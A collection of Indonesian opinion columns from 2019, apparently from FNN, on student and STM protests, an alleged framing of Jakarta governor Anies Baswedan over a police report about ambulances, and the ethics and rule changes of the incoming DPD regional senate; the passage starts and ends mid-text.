Anak STM adalah representasi kelas marjinal. Mereka adalah kelompok underdog yang terpinggirkan. Orang tua mereka adalah kelas pekerja yang menjadi korban langsung berbagai kebijakan pemerintahan Jokowi. Beban hidup kian berat akibat harga-harga yang melambung, tarif listrik dan BBM yang terus naik, semakin meningkatnya pengangguran, adalah bagian hidup keseharian mereka. Realitas hidup yang berat, ditambah masa depan yang tidak pasti, membuat mereka menemukan katarsis melalui aksi unjukrasa. Jadilah seperti yang kita saksikan. Mereka seperti tak kenal rasa takut. Dengan penuh percaya diri berhadapan dengan polisi. Tak jarang kita menyaksikan adegan yang selama ini hanya bisa kita saksikan dalam gerakan Intifada di Palestina atau aksi protes di Hongkong. Anak-anak STM dengan bersenjata batu, kayu dan bambu berhadapan dengan anggota Brimob dengan persenjataan lengkap. Mereka menghadang water canon, adu berani menghadang gas air mata, dan melakukan tendangan salto ala jagoan kungfu menerjang barisan pasukan Brimob yang berlindung di balik tameng. Mereka seperti menemukan arena bermain baru yang lebih menantang. Pamer nyali, menggantikan kegiatan tawuran. Suasananya penuh kegembiraan. Adrenalin mereka terpacu dan mendapat penyaluran. Di medsos beredar video anak-anak STM ini membawa tameng hasil rampasan dari pasukan Brimob. Ada pula yang menggunakannya sebagai kereta luncur ditarik sepeda motor. Riang gembira. Seperti generasi muda Hongkong, anak-anak muda ini juga sedang meluapkan rasa frustrasinya, akibat masa depan yang tak menentu. Sayangnya pemerintah— seperti halnya otoritas Hongkong— gagal memahami akar persoalan, dan tak mampu berkomunikasi dengan baik. Yang dikedepankan justru sikap represif. Mencari-cari justifikasi. Menyatakan ada kelompok yang menunggangi. Mahasiswa yang kritis, kecewa dan tak puas terhadap elit politik dan pemerintah, anak-anak STM yang frustrasi, terpinggirkan, adalah kelompok-kelompok yang kini tengah dihadapi pemerintah. Anak-anak muda dan remaja ini bukanlah para petualang politik, pencari rente dan remah-remah kekuasaan. Mudah ditaklukkan dengan cara diundang ke istana dan diberi janji-janji serta konsesi politik tertentu. Mereka tidak silau oleh kekuasaan dan janji-janji manis penguasa. Mereka akan terus melawan selama pemerintah dianggap menyimpang. Mereka akan terus turun ke jalan, selama pemerintah tidak menunjukkan langkah konkrit memperbaiki keadaan dan menegakkan keadilan. End

Langkah Lanjutan Membidik Anies

Saking begitu pedulinya dengan kehidupan warga miskin kota, dikalangan warga miskin kota Anies dikenal sebagai Gubernur kaum jelata. Belum lagi ditambah dengan sederet penghargaan terkait prestasi kinerja pemerintah daerah dari berbagai lembaga dalam maupun luar negeri, ketokohannya begitu kuat. Oleh Andi W. Syahputra Jakarta, FNN - Salah satu judul berita yang muncul pada harian Kompas, 26 September 2019 bunyinya begini: “Polisi : Lima Ambulans Pemprov DKI Angku Batu dan Bensin Saat Rusuh”. Sekilas judul berita itu biasa. Tapi jika dibaca terus, dalam berita yang diangkat dari hasil saduran itu terekam sebuah peristiwa yang menghebohkan. Mengutip sumber berita dari @TMCPoldaMetro, Kompas melansir pernyataan Kepala Bidang Humas Polda Metro Jaya Kombes Argo Yuwono, Polda Metro Jaya mengamankan lima mobil ambulans berlogo Pemerintah Provinsi (Pemprov) DKI karena mengangkut batu dan bensin saat terjadi aksi kerusuhan di Kompleks Parlemen Senayan, Jakarta. Kompas tampaknya kurang teliti dan terkesan membiarkan berita itu beredar luas. Terbukti, berita serupa juga ditanyangkan dalam jaringan group berita milik Kompas seperti berita online maupun KompasTV. Berita itu sejatinya tak berdiri sendiri. Ada desain framing yang sengaja dikemas guna memojokkan Gubernur DKI Jakarta, Anies Bawesdan. Bukan kali ini saja dia dikerjain, Adalah Denny Siregar, seorang provokator pegiat online yang kerap memposting artikel bermuatan fitnah, sebagai pihak yang lebih dulu mengunggah konten soal ambulans ketimbang akun polisi di @TMCPoldaNet. Denny diketahui mengunggah video pada pukul 01.24 WIB, Kamis (26/9). Dia juga menyertakan kalimat dalam cuitannya itu. “Hasil pantauan malam ini.. Ambulans pembawa batu ketangkep pake logo @DKI Jakarta," tulis Denny melalui akun Twitter @dennysiregar7. Budaya Bentrok Belakangan ini, publik disuguhkan berita-berita bentrokan aparat, negara dan massa. Dalam banyak peristiwa itu terjadi dalam berbagai lingkaran. Di kalangan pedangan kaki lima, pengemudi online, petani, buruh bahkan lingkaran lembaga pemerintahan. Kalangan mahasiswa tak perlu disebut. Budaya bentrok sudah lazim dalam setiap aksi mahasiswa. Bentrokan antara massa aksi dengan aparat keamanan merupakan pemandangan yang lazim dijumpai. Kesannya, tak afdol apabila aksi massa tak diselipkan dengan bentrokan. Tak heran, bila kini aparat keamanan turut “berrmain” meramaikan jagad kekerasan. Maraknya bentrokan dalam aksi demonstrasi belakang ini, apakah bisa bermakna the end of the nation state? Pertanyaan ini dilatarbelakangi oleh teori Max Weber yang mengatakan, Negara memegang the monopoly of the legitimate use of physical force, bukan kelompok warga sipil (masyarakat) yang boleh memakai kekerasan kecuali (aparat) negara. Teori Weber ini bukan hanya bertujuan menjaga kedaulatan negara. Tapi sekaligus menjaga ketertiban di masyarakat. Ketertiban di masyarakat akan hancur jika tak ada monopoli pemakaian kekerasan. Teori tinggal teori. Lazimnya, dalam praktik sudah pasti ada pergeseran. Monopoli itu tekesan sudah mulai diselewengkan ketika terjadi perselingkuhan antara penguasa dengan kaum oligarki (pengusaha). Satu abad silam Karl Marx pernah mengingat bahaya perselingkuhan itu. Dia ingatkan, negara sudah kehilangan legitimasinya ketika sudah dijadikan executive committee of the bourgeoise class. Kelas borjuis dengan kemampuan finansial yang besar dapat “membeli” negara dan menjadikan negara tak ubahnya sebagai panitia yang menjalankan perintah atas kehendak pemodal. Dengan bahasa yang sedikit keras, negara menjadi boneka permainan para pemodal. Dalam banyak kasus seperti rancangan UU Minerba, agraria, ketenagakerjaan dan terakhir revisi UU-KPK yang disahkan oleh DPR bersama pemerintah, rancangan dibuat guna melindungi kepentingan publik tapi dibelokkan sehingga menjadi pelindung bagi kepentingan kaum pemodal. Begitu pula dengan monopoli negara atas kekerasan tadi. Mudah diselewengkan yang semula untuk menjaga stabilitas ketertiban umum, diarahkan guna membidik lawan atau seteru politiknya. Kembali pada peristiwa kriminalisasi ambulans. Apa yang terjadi pada peristiwa kamis dini hari (26/9/2019) adalah rentetan yang berawal dari dan disebabkan oleh kontestasi politik yang tak berkesudahan. Publk menduga peristiwa kriminalisasi ambulans adalah peristiwa yang punya muatan politik. Suatu peristiwa yang sengaja diproduksi guna memojokkan Anes Bawesdan. Andai kita hendak rekonstruksi peristiwanya jelas benar aroma rekayasanya. Banyak faktor bisa dirujuk. Pertama, dalam banyak peristiwa politik yang terjadi di Jakarta, selaku Gubernur DKI Jakarta, Anies Bawesdan kerapkali selalu hadir melakukan advokasi warganya baik dalam hal memberi ruang partisipasi yang cukup besar sehingga kegiatan itu bisa terselenggara dengan aman. Dalam pemahaman selaku pemimpin suatu wilayah, Gubernur bukan hanya memberikan pelayanan terbaik bagi warganya dan memastikan kegiatan pembangunan berjalan sesuai aturan. Tapi mesti pula hadir di tengah-tengah warganya. memberikan pemahaman aparaturnya maupun warga sipil yang terlibat bahwa unjuk rasa sebagai wujud ekspresi yang dijamin oleh konstitusi.. Dia mesti memastikan kegiatan unjuk rasa yang dilakukan warga berlangsung sesuai koridor demokratis tanpa diwarnai dengan tindakan anarkhisme. Pesan-pesan itu dalam beberapa kesempatan, disampaikannya secara langsung dengan mendatangi lokasi unjuk rasa atau lewat pesan media sosial. Kedua, kedekatannya dengan warga. Selain menyampaikan pesan-pesan optimisme, Anies juga begitu perhatian dengan warga miskin kota. Setidaknya dalam sepekan, dia sempatkan waktu mengunjungi warga yang sakit atau mendapat musibah kematian. Beberapa kali dia terekam kamera sedang mengangkat keranda jenasah warganya yang wafat. Termasuk selalu memberikan layanan kepada pendemo dan memerintahkan agar setiap RSUD mengratiskan pengobatan bagi peserta unjuk rasa yang menjadi korban kekerasan. Saking begitu pedulinya dengan kehidupan warga miskin kota, dikalangan warga miskin kota Anies dikenal sebagai Gubernur kaum jelata. Belum lagi ditambah dengan sederet penghargaan terkait prestasi kinerja pemerintah daerah dari berbagai lembaga dalam maupun luar negeri, ketokohannya begitu kuat. Semua itu membuat Anies lebih popular dan teratas dalam survey capres 2024 yang dirilis dari beberapa lembaga survey. Popularitasnya yang terus meroket itu, bagi sebagian seteru politiknya dirasakan cukup meresahkan. Atas sebab itu ketokohannya mesti disudahi. Caranya? Terus produksi citra buruk terhadap dirinya dan kampanyekan dia sebagai sosok yang berseberangan dengan Presiden Jokowi. Rekrutmen Pemimpin Penulis pernah jumpai beberapa tukang ojek online dan menyodorkan beberapa nama tokoh yang paling potensial sebagai pemimpin ke depan. Mayoritas menyodorkan nama Anies sebagai sosok yang layak dipilih. Jika secara common sense pengakuan tukang ojek line itu dianggap sebagai suatu sinyalemen, bisa jadi peta pertarungan koalisi parpol akan terbelah. Saat itulah polarisasi pendukung yang kini masih kental akan menyatu lantaran absennya petahana dan kemunculan pemimpin-pemimpin muda dipercaya akan menyudahi poarisasi itu. Ilustrasi semcam itu memberi gambaran bahwa wacana Anies sebagai pemimpin baru lagi muda tampaknya sudah menelusup ke relung-relung hati tak hanya warga Jakarta saja tapi juga global. Dia menembus kebuntuan perekrutan dan kaderisasi parpol. Itu artinya, pada tingkat tertentu kelak bangsa ini akan melampaui kesadaran politik sehingga pencarian pemimpin alternatif menjadi suatu keharusan sejarah ketika kondisi kehidupan bernegara kita tak juga kunjung membaik. Berawal dari Pilkada DKI Jakarta dua tahun silam. Kala itu, Anies unggul dari Ahok yang sebelumnya telah disiapkan dengan matang sebagai sosok muda berprestasi dan tegas dalam memimpin Jakarta. Tampilnya Anies sebagai Gubernur ternyata juga membenamkan impian para pemodal terutama dalam menguasai lahan-lahan dan reklamasi pulau. Ketika awal dilantik, Anies melakukan moratorium proyek-proyek reklamasi terhadap pulau strategis buatan di sepanjang pantai utara Jakarta. Semua strategi pembangunan di Jakarta tak hanya dipersoalkan tapi juga koreksi total karena strategi pembangunannya dinilai salah dalam mengantarkan kemakmuran yang berkeadilan bagi warga Jakarta. Menurutnya, dengan mengusung jargon Maju Kotanya Bahagia Warganya strategi pembangunan mesti diganti. Caranya, dengan membuka seluas mungkin partisipasi warga dalam setiap kegiatan pembangunan. Hentikan dominasi pengembang dalam turut cawe-cawe menata ibukota yang ujungnya lebih mementingkan keuntungan gurita bisnisnya ketimbang kemakmuran bagi mayoritas warga. Tapi rupanya masih ada saja pihak yang tak ingin polarisasi dan kehidupan bernegara ini membaik. Polarisasi yang meruncing dikala pilkada Jakarta dipercaya oleh seteru Anies akan terjadi hingga Pilpres 2024. Kiprah Anies harus disumbat. Beragam kampanye negatif disebar. Mulai dari tuduhan Anies dinilai membawa kepentingan aspirasi ideologi Islam radikal hingga akan menumbangkan gurita politik oligarki. Simbiosis kepentingan penguasa dengan pemodal bakal dipangkas. Wajah Anies yang begitu tegas memimpin Jakarta memang sudah terbukti ketika sikapnya tak kompromi dengan kepentingan pemodal. Tak heran, bila kriminalisasi ambulans adalah mata rantai dari permainan politik dalam rangka membentuk citra buruk Anies. Publik curiga dengan sikap Polisi yang terkesan diskriminasi. Desakan agar buzzer Denny Siregar dan ketua Jokowi Mania, Immanuel Ebenezer, segera diperiksa tak ditanggapi. Malah terkesan justru Polisi melindungi keduanya. Tak salah bila sikap diskrimintatif itu menguatkan peristiwa itu bagian dari operasi pembusukan itu. Meski kesimpulan yang ditarik secara linear itu masih perlu pembuktian. Namun yang pasti, operasi pembusukan semacam ini takkan berhenti dan terus berlangsung hingga pamor Amies pudar. Wallahu’alam bi sawab

DPD Baru dengan Etika Baru

Praktis Senat tertahbiskan sebagai organnya orang-orang terhormat, para bourjuis –“borough” atau “city” – orang-orang kota, bukan daerah. Mereka yang mewakili daerah, dalam kasus Inggris misalnya disebut satria. Tempat mereka adalah House of Common, lower horuse untuk membedakannya dengan House of Lord sebagai upper house. Dua organ ini menandai dua kamar parlemen pada negara berbentuk kesatuan. Oleh Dr. Margarito Kamis Jakarta, FNN - Calon anggota Dewan Perwakilkan Daerah (DPD) terpilih akan segera memasuki babak baru. Besok tanggal 1 Oktober, mereka akan diambil sumpahnya, dilantik atau diresmikan statusnya menjadi anggota DPD. Pelantikan mereka akan dilangsungkan di gedung Nusantara 5 MPR, dipimpin oleh Prof. Dr. Hatta Ali, SH, Ketua Mahkamah Agung Republik Indonesia. Mereka yang akan diremsikan keanggotaannya itu berjumlah 136 (seratus tiga puluh enam) orang. Latar belakang mereka cukup beragam. Sebagian di antara mereka tetapi bukan yang dominan adalah incumbent. Sebagian lagi adalah mantan gubernur, bupati dan walikota, serta anggota DPR. Satu orang malah pernah memimpin Mahkamah Konstitusi. Itulah mereka. Merekalah orang-orang yang diandalkan daerah untuk ikut bersama-sama, tidak hanya dengan DPR, tetapi juga Presiden merumuskan kebijakan-kebijakan politik yang memungkinkan orang-orang daerah menemukan makna hakiki dalam kehidupan berbangsa dan bernegara. Dari merekalah orang-orang daerah meletakan harapan memiliki kepastian hendak mendapat keadilan politik di negara kesatuan ini. Asal-Usul Segera setelah dilantik, mereka akan menyandang panggilan “senator.” Panggilan merupakan kreasi politik yang khas, bukan sebutan yang dinyatakan secara eksplisit di dalam UUD, termasuk UU MPR, DPR dan DPD, yang telah beberapa kali diubah. Tetapi apapun itu, sebutan ini terasa kian terasa akrab dalam perbincangan-perbincangan politik dan hukum ditengah masyarakat, dimanapun di Indonesia. Sebutan senator itu, dalam sejarahnya disematkan kepada anggota Senat atau senatum. Organ ini dijadikan tempat berkumpulnya, apa yang sekarang dikenal dengan sidang orang-orang terhormat sebanyak 100 orang sebagai wakil dari suku-suku, centuria. Mereka disebut terhormat bukan karena isi kepanya, melainkan hartanya. Perilaku orang-orang ini, umumnya digambarkan santun, karena lingkungan pergaulan, cara hidup dan pilihan katanya. Mereka inilah yang bersidang (commitia centuriata), baik karena diminta atau tidak, untuk merumuskan nasihat yang akan atau harus diberikan kepada kaisar atau konsul. Mereka tidak punya hak, karena tidak diberikan oleh Kaisar membuat hukum dan keputusan lain, apapun yang bersifat mengikat kaisar. Tidak. Praktis mereka hanya berfungsi sebagai pemberi nasihat kepada hakim yang akan memutus suatu perkara. Fungsi ini persis sama dengan Lord di Inggris, yang sampai sekarang mamsih memiliki kewenangan yang bersifat judicial. Kelak setelah Romawi menjadi republik, muncul lembaga baru. Lembaga baru ini dinamakan Tribun sebagai tempat orang biasa bersidang membicarakan kepentingan-kepentingannya. Pada fase ini Senat dari consultum menjadi Senat sebagaimana Senat Amerika saat ini. Mereka dengan perubahan itu telah diberi kewenangan membentuk hukum. Berbneda dengan Senat, plebs tidak punya kewenangan itu. Tetapi mereka telah dimungkinkan memberi saran – pertimbangan – kepada senatum untuk mengoreksi hukum yang dibuatnya. Praktis Senat tertahbiskan sebagai organnya orang-orang terhormat, para bourjuis –“borough” atau “city” – orang-orang kota, bukan daerah. Mereka yang mewakili daerah, dalam kasus Inggris misalnya disebut satria. Tempat mereka adalah House of Common, lower horuse untuk membedakannya dengan House of Lord sebagai upper house. Dua organ ini menandai dua kamar parlemen pada negara berbentuk kesatuan. Ini berbeda dengan dua kamar parlemen pada negara Serikat. Gagasan dasar pembentukan parlemen dua kamar parlemen adalah memastikan keadilan politik. Begini kongkritnya pertimbangan itu. Ada daerah yang padat penduduk dan ada daerah yang jarang penduduknya. Bila parlemen hanya satu kamar, bahkan bila dua kamar sekalipun tetapi wakil-wakinya ditentukan secara proporsional, maka parlemen itu didominasi wakil dari daerah padat. Formula ini dianggap tidak adil. Pikiran ini menjadi dasar perbedaan formula jumlah anggota House of Representative dan Senat, termasuk penyamaan jumlah perwakilan seitap negara bagian. Praktis jumlahnya dibuat sama, sehingga integritas teritorial negara terjaga. Itulah sekelumit percikan sejarah tentang senat dan senator, serta pikiran dan impian dibalik itu. Untuk memastikan keadilkan itu pulalah yang menjadi dasar keduanya organ ini diberi sifat yang sama sebagai organ legislatif. Pembedaannya hanya terletak pada ragam dan jangkauan kewenangan. Tidak lebih. Itulah cara para pembentuk UUD mereka mencegah satu organ tidak berubah menjadi tiran terhadap organ lain. Mereka berpendapat manakala satu organ menjadi tiran terhadap organ lain, maka tidak akan tercipta keadilan. Pikiran ini pulalah yang menjadi dasar internal chek pada organ legislatif. Cermin Kehormatan Diri Bagaimana dengan DPD? Betul ada kehendak para pembentuk UUD 1945 untuk mewujudkan keadilan dibalik pembentukan DPD itu. Tetapi mereka gagal dalam mengintroduksi seluruh pemikiran formula konstitusionalisme Amerika Serikat. Itu sebabnya DPD tidak diberi kewenangan legislatif khas Senat Amerika. DPD sejauh ini hanya diberi kewenangan ikut membahas pembentukan UU yang secara langsung memiliki sifat penyelenggaraan otonomi daerah. UU Pembentukan daerah otonomi baru, penggabungan atau penghapusan daerah otonomi, UU Pajak Daerah, UU Perimbangan Keuangan Pusat-Daerah, pengeloaan sumberdaya alam, perikanan, dan lainnya. UU lain itu harus dikerangkakan secara konstitusional pada penyelenggaraan otonomi daerah atau yang sifatnya berkaitan langsung terhadap penyelenggaraan otonomi daerah. Tetapi harus diakui DPD hanya bisa ikut membahas. Mereka tidak bisa ikut memberi persetujuan atau memutus. Selain kewenangan itu, DPD juga diberi kewenangan pengawasan pengelolaan sumberdaya alam dan sumberdaya ekonomi lainnya. Juga ikut memberi pertimbangan kepada DPR dalam pemilihan anggota BPK. Hanya itulah ragam kewenangan DPD, dan hanya itu pulalah jangkauan kewenangan DPD. Ragam dan jangkauan kewenangan itu sepenuhnya bersifat formil, bukan materil. Inilah yang mengakibatkan DPD terlihat berbeda dengan DPR. Ini pula yang mengakibatkan DPD terlihat tak cukup berpengaruh dalam perumusan kebijakan dan pembentukan keputusan nasional yang dapat mengubah, dalam makna mengubah tatanan politik, sosial dan ekonomi di daerah. Tetapi apapun itu anggota DPD, suka atau tidak, dituntut untuk mendinamisir eksistensi mereka. Ini bukan persoalan normatif. Pada titik inilah anggota DPD, suka atau tidak, diharuskan memiliki kepekaan dan kesadaran etik kelas tinggi khas senator. Anggota DPD mesti, tanpa bermaksud mengajari, memandu dan menuntun dirinya ketemuan-temuan kreatif dalam bingkai kewenangan konstitusionalnya. Orang terhormat tidak menggunakan sidang paripurna sebagai panggung adu tingkah laku tak senonoh. Beradu mulut secara urakan, melempar kursi, menaiki panggung tempat pimpinan sidang memimpim persidangan, dan tindakan lainnya yang sejenis, mesti disadari sebagai tindakan tidak terhormat. Setidak-tidaknya tindakan itu harus dilihat sebagai pantulan tipisnya bobot rasa etik. Kesadaran, kepekaan dan kepatuhan etik, untuk alasan apapun, merupakan kekuatan terbesar setiap orang. Itu cermin derajat dignity. Itu sebabnya demokrasi menunjuknya sebagai norma non hukum, yang menjadi kekuatan penggerak utama yang tak ternilai dalam mendinamisir dan menjaga kesehatan kehidupan sosial politik, ekonomi dan hukum suatu bangsa. Penulis adalah Pengajar Hukum Tata Negara Fakultas Hukum Universitas Khairun Ternate

Tampal Sulam Tatib DPD

Semangat perubahan tatib tidak boleh terkesan dipaksakan hanya untuk mengakomodir kepentingan subjektif pihak tertentu. Perubahan dan pengesahan tatib tidak boleh dilakukan secara ‘serampangan’. Harus melihat urgensi kebutuhan dan semangat kepentingan semua pihak di lembaga DPD Oleh Dr. Ahmad Yani SH, MH. Jakarta, FNN - Tinggal menghitung hari. Moment pelantikan anggota legsilatif, baik yang terdiri dari unsur perseorangan (DPD) maupun dari unsur partai politik (DPR) akan segera dilaksanakan. Dari beberapa isu krusial yang menyelimuti momentum suksesi peralihan yang ada, ikhwal tambal sulam peraturan tata tertib di internal DPD RI menjadi salah isu polemik yang cukup mengemuka. Tentu, DPD sebagai sebuah lembaga yang memiliki mandat secara konstitusional. DPD seharusnya mengalihkan prioritas kepada hal yang lebih strategis terkait dengan fungsi, peran dan kewenangan kelembagaan. Jangan malah terjebak kepada dinamika isu sektoral atau local. DPD sudah seharusnya menjadi lembaga negara yang mengedepankan isu-isu strategis. Bukan sebaliknya, terjebak di dalam pragmatism yang ada di tubuh DPD itu sendiri. Sebab dilihat dari banyaknya konflik internal, berupa perebutan kursi pimpinan beberapa waktu yang lalu, justru menjerumuskan citra dan marwah dari DPD sebagai Lembaga Tinggi Negara. Melalui tulisan singkat ini, penulis hanya coba berusaha mendorong agar lembaga DPD dapat bertransformasi secara konstruktif. Dalam arti meminimalisir dinamika perselisihan dan konflik internal yang terjadi. DPD harus lebih fokus kepada isu strategis ketatanegaraan kita. Peran, kedudukan dan posisi lembaga DPD yang harus diperjuangkan. Selama ini DPD banyak dipersepsikan sebagai lembaga negara ‘yang tidak dianggap’. DPD tidak memiliki arti penting dalam struktur ketatanegaraan yang ada (powerless). Kenyataan ini dapat dilihat dari bagaimana beberapa fungsi staregis DPD dalam UUD 1945. Kasus yang paling update adalah peran DPD dalam hal memberikan pertimbangan terkait seleksi calon anggota BPK. Jika dikaitkan dengan pasal 23F UUD 1945, maka DPD sepertinya tidak memiliki arti dan nilai sama sekali dalam pengambilan keputusan terkait seleksi anggota BKP. Bukan itu saja. Dari beberapa periode peralihan atau pemilihan anggota BPK, pertimbangan yang diberikan oleh DPD melalui proses fit and proper test di Komite IV ternyata tidak dihiraukan. Tidak lebih hanya sekedar formalitas belaka. Begitupun dengan beberapa kewenangan lain yang ada berdasarkan mandat dari UUD 1945. Merujuk pada mandat kontitusi ini, maka DPD tidak lain hanya sebagai lembaga ‘pelengkap penderita’ semata. Hanya menjadi beban kelembagaan di dalam kamar cabang kekuasaan legislatif (trimakeral). Kenyataan lain yang tidak kala relevan dengan isu kemandirian anggota DPD, ialah bagaimana lembaga ini dapat berperan dalam mengatasi konflik yang saat ini terjadi di Wamena Papua. Disini terlihat anggota DPD sama sekali tidak memiliki posisi tawar yang kuat. DPD sama sekali tidak turut berpartisipasi dalam meminimalisir konflik horizontal yang terjadi. Meskipun secara prinsip terdapat unsur ‘separatisme’ di dalam konflik Papua. Namun sama sekali tidak terdengar bagaimana upaya rekonsilisiasi dan konsolidasi yang diinisiasi oleh anggota DPD. Tentu saja ini sangat ironi. Padahal nggota DPD yang merupakan wakil resmi daerah-daerah diharapkan mampu menjadi kekuatan penyeimbang (balanced power) di dalam kamar kekuasaan legislative. DPD harusnya memperjuangkan kepentingan daerah atau wilayahnya. Sekarang DPD justru terkesan pasif. Penyebabnya, karena DPD tidak memiliki kekuatan mengambil langkah atau tindakan strategis. Kenyataan ini disebabkan terbatasnya kewenangan atau kekuasaan yang dimiliki oleh DPD. Ilustrasi singkat tersebut tentu harus menjadi titik koreksi, sekaligus evaluasi menyeluruh bagi DPD ke depan. Lembaga DPD harus mampu berbalik arah secara konstruktif dan progresif dalam merangkai format kelembagaan yang ideal di struktur ketatanegaran. Baik itu yang terkait dengan tugas pokok dan fungsi, kewenangan, status kelembangaan, maupun hal strategis lainnya. Terobosan inilah yang harus ada, dan menjadi mindset bagi anggota DPD ke depan (forward looking). Bukan malah terjebak pada isu-isu lokal sektoral kepentingan DPD semata. Jangan hanya sibuk dengan ‘tampbl sulam’ tata tertib internal DPD, khususnya yang terkait pemilihan kursi panas pimpinan DPD. Sangat disayangkan kalau DPD hanya sibuk dengan urusan internalnya. Bagaimana tidak. Beberapa hari terakhir ini ada upaya penggiringan opini untuk kembali mengutak-atik metode pemilihan pimpinan DPD yang akan datang. Padahal upaya ini hanyauntuk memenuhi syahwat dan ambisi personal DPD tertentu. Kenyataan ini patut untuk dikritisi. Sebab perubahan regulasi internal tata tertib DPD telah diatur dan ditetapkan. Harusnya tidak diubah secara sepihak dengan mudah. Terdapat persyaratan yang harus dipenuhi secara prosedural untuk membuka kembali perubahan tatib DPD. Semangat perubahan tatib tidak boleh terkesan dipaksakan hanya untuk mengakomodir kepentingan subjektif pihak tertentu. Perubahan dan pengesahan tatib tidak boleh dilakukan secara ‘serampangan’. Harus melihat urgensi kebutuhan dan semangat kepentingan semua pihak di lembaga DPD. Jikalau di flash back, pengesahan tatib DPD itu sendiri terakhir dilakukan dalam Sidang Paripurna Luar Biasa DPD RI pada Rabu, 18 September 2019 yang lalu. Dimana dalam tatib tersebut tersebut terdapat 10 (sepuluh) point pokok perubahan. Bunyi poin pertama pada tatib sebelumnya yakni, 'provinsi Kalimantan Utara (provinsi baru hasil pemekaran) hanya disebutkan diawal. Akibatnya, wakil Kalimantan Utara tidak bisa ikut dalam pembagian alat kelengkapan DPD'. Kemudian diubah menjadi 'Provinsi Kalimantan Utara secara teknis diatur pada semua alat kelengkapan. Secara otomatis kedudukan wakil Kalimantan Utara dalam alat kelengkapan sama dengan provinsi lain'. Kedua, 'pengambilan perjalanan dinas tidak bisa dilakukan sebelum terbentuk alat kelengkapan PURT'. Perubahannya, 'anggota DPD bisa langsung mengambil perjalanan dinas'. Poin ketiga, pada periode 2014 – 2019, 'anggota DPD tidak punya kewenangan menentukan anggaran DPD, karena Ketua PURT adalah pimpinan DPD (Ex Officio)'. Periode selanjutnya bunyinya menjadi 'anggota DPD mempunyai kewenangan mengatur anggaran DPD, karena anggota berhak menjadi pimpinan PURT'. Poin keempat, 'anggota DPD pada alat kelengkapan tidak dapat melakukan kunjungan keluar negeri'. Perubahannya, 'semua anggota DPD di alat kelengkapan manapun dapat melaksanakan kunjungan kerja ke luar negeri'. Poin kelima, 'untuk DPD yang melaksanakan perjalanan dinas ke provinsi yang bukan dapilnya hanya mendapatkan uang perjalanan dinas dan tidak mendapatkan uang kegiatan'. Lalu dirubah menjadi 'anggota DPD yang melaksanakan perjalanan dinas diluar dapilnya, mendapat uang perjalanan dinas dan uang kegiatan'. Poin keenam, 'untuk Provinsi DKI Jakarta, DI Yogyakarta, Aceh, Papua dan Papua Barat tidak diakomodir pengawasan Perdais, Qanun, Perdasi dan Perdasus (PULD)'. Diubah menjadi 'untuk Provinsi DKI Jakarta, DI Yogyakarta, Aceh, Papua dan Papua Barat telah diatur agar dapat mengevaluasi rancangan Perdais, Qanun, Perdasi dan Perdasus'. Sementara poin ketujuh, pembagian alat kelengkapan menjadi tidak berimbang. Karena tidak ada aturan yang tegas. Hal ini menimbulkan kecemburuan anggota DPD dalam satu provinsi'. Kemudian dipersingkat menjadi 'anggota DPD dibagi merata disemua alat kelengkapan'. Poin delapan, yang cukup penting dan termaktub Pimpinan DPD dapat tidak melaporkan kinerja setiap tahun'. Dirubah menjadi 'Pimpinan DPD wajib melaporkan kinerja setiap tahun dalam sidang paripurna'. Poin sembilan, yang sebelumnya berbunyi 'DPD berpotensi dipimpin oleh tersangka seorang pelanggar kode etik, orang yang malas mengikuti kegiatan DPD'. Dirubah bunyinya menjadi 'DPD akan dipimpin oleh pimpinan yang negarawan, tidak cacat etika dan bukan merupakan tersangka'. Untuk poin terakhir yaitu, 'anggota lembaga pengkajian MPR bisa bukan berasal dari DPD', dan perubahannya adalah 'anggota lembaga pengkajian MPR wajib berasal dari DPD'. Dari sepuluh point pokok tersebut, terlepas pro dan kontra, tentu dapat dilihat bahwa senyatanya hal tersebut telah disahkan. Dan akan berlaku untuk keanggotaan DPD mendatang. Penting menjadi catatan sebelum mengakhiri tulisan ini, bahwa sudah seharusnya DPD RI, secara kelembangaan dan keanggotaan mendatang lebih menitikberatkan, mencurahkan segala pikiran, tenaga dan daya upaya yang ada guna merevitalisasi lembaga DPD. Langkah ke arah dengan jalan amandemen kelima UUD 1945. Rasanya hal tersebut lebih urgent (vital) dan penting. Dibandingkan dengan ‘gegap gempita’ tampal sulam perubahan tatib DPD RI yang bermotif subjektif dan memenuhi syahwat kekuasaan perorangan semata. Sekian ! Penulis adalah Praktisi Hukum, Dosen Pengajar di Fak. Hukum dan Fak. Ilmu Sosial Politik UMJ

DPD Diharapkan Tampil Atasi Persoalan Daerah

Oleh Dr. Ismail Rumadan Jakarta, FNN – Berbagai gejolak politik dan sosial di masyarakat saat ini sangat membutuhkan perhatian serius dari Dewan Perwakilan Daerah (DPD). Besama dengan lembaga legislative lainnya DPD dilantik hari ini 1 Oktober 2019. Namun berbagai persoalan kini telah menanti DPD di depan mata Munculnya berbagai permasalahan di daerah-daerah seperti, kabut asap di sumatera yang tidak kunjung reda akibat kebakaran hutan. Ada konflik sosial secara horisontal dan vertikal di Papua yang semakin memanas dengan pembatantain terhadap para pendatang non-Papua di Wamena. Masalah pengungsi akibat gempa yang terjadi Ambon. Masalah lainnya adalah merebaknya aksi demontrasi mhasiswa baik di Jakarta maupun di daerah-daerah. Semua persoalan ini tentu saja sangat membutuhkan perhatian serius dari semua pihak terkait. Pemerintah seperti tampak kewalahan menyelesaikan manangani dan menyelesaikan masalah-masalah ini. Untuk itu, peran penting dan strategis dari DPD sebagai lembaga yang mewakili kepentingan daerah-daerah sangat diperlukan Aksi-aksi deminstrasi mahasiswa yang muncul dan marak di Jakarta dan daerah belakangan ini, lebih banyak menyoroti dan mempersoalkan sikap pemerintah dan DPR mengenai revisi undang-undang KPK. Pemerintah seperti kewalahan dan kebingungan menemua jalan keluas untuk menghentikan aksi-kasi deminstrasi mahasiswa. Malah belakangan pelajar SMA dan SMP mulai ikut-ikutan berdemonstrasi. Pemerintah hari ini terkesan gagal memahami inti permasalahan yang terjadi didaerah. Akibatnya, terkadang langkah atau kebijakan yang ditempuh utuk mengatasi permasalaahan di daerah tidak tepat. Pemerintah tidak mampu menyuguhkan solusi yang tepat bagi penyelesaian permasalahan di daerah. Oleh karena itu, harapan sepenuhnya kini sesungguhnya mulai tertuju pada para senator daerah yang baru terpilih. Karena mereka para anggota DPR sesunghuhnya merupakan representasi dari daerah-daerah sebagaipemilik sebenarnya daerah-daerah Indonesia. DPD tentu saja lebih mengerti dan memahami kondisi dan kepentingan daerah-daerah saat ini. Jangan sampai di kemudian anggota DPD yang baru terpilih ini terjebak pada kepentingan politik praktis sematar. Sehingga hal-hal yang tidak perlu untuk diributkan atau diperdebatkan 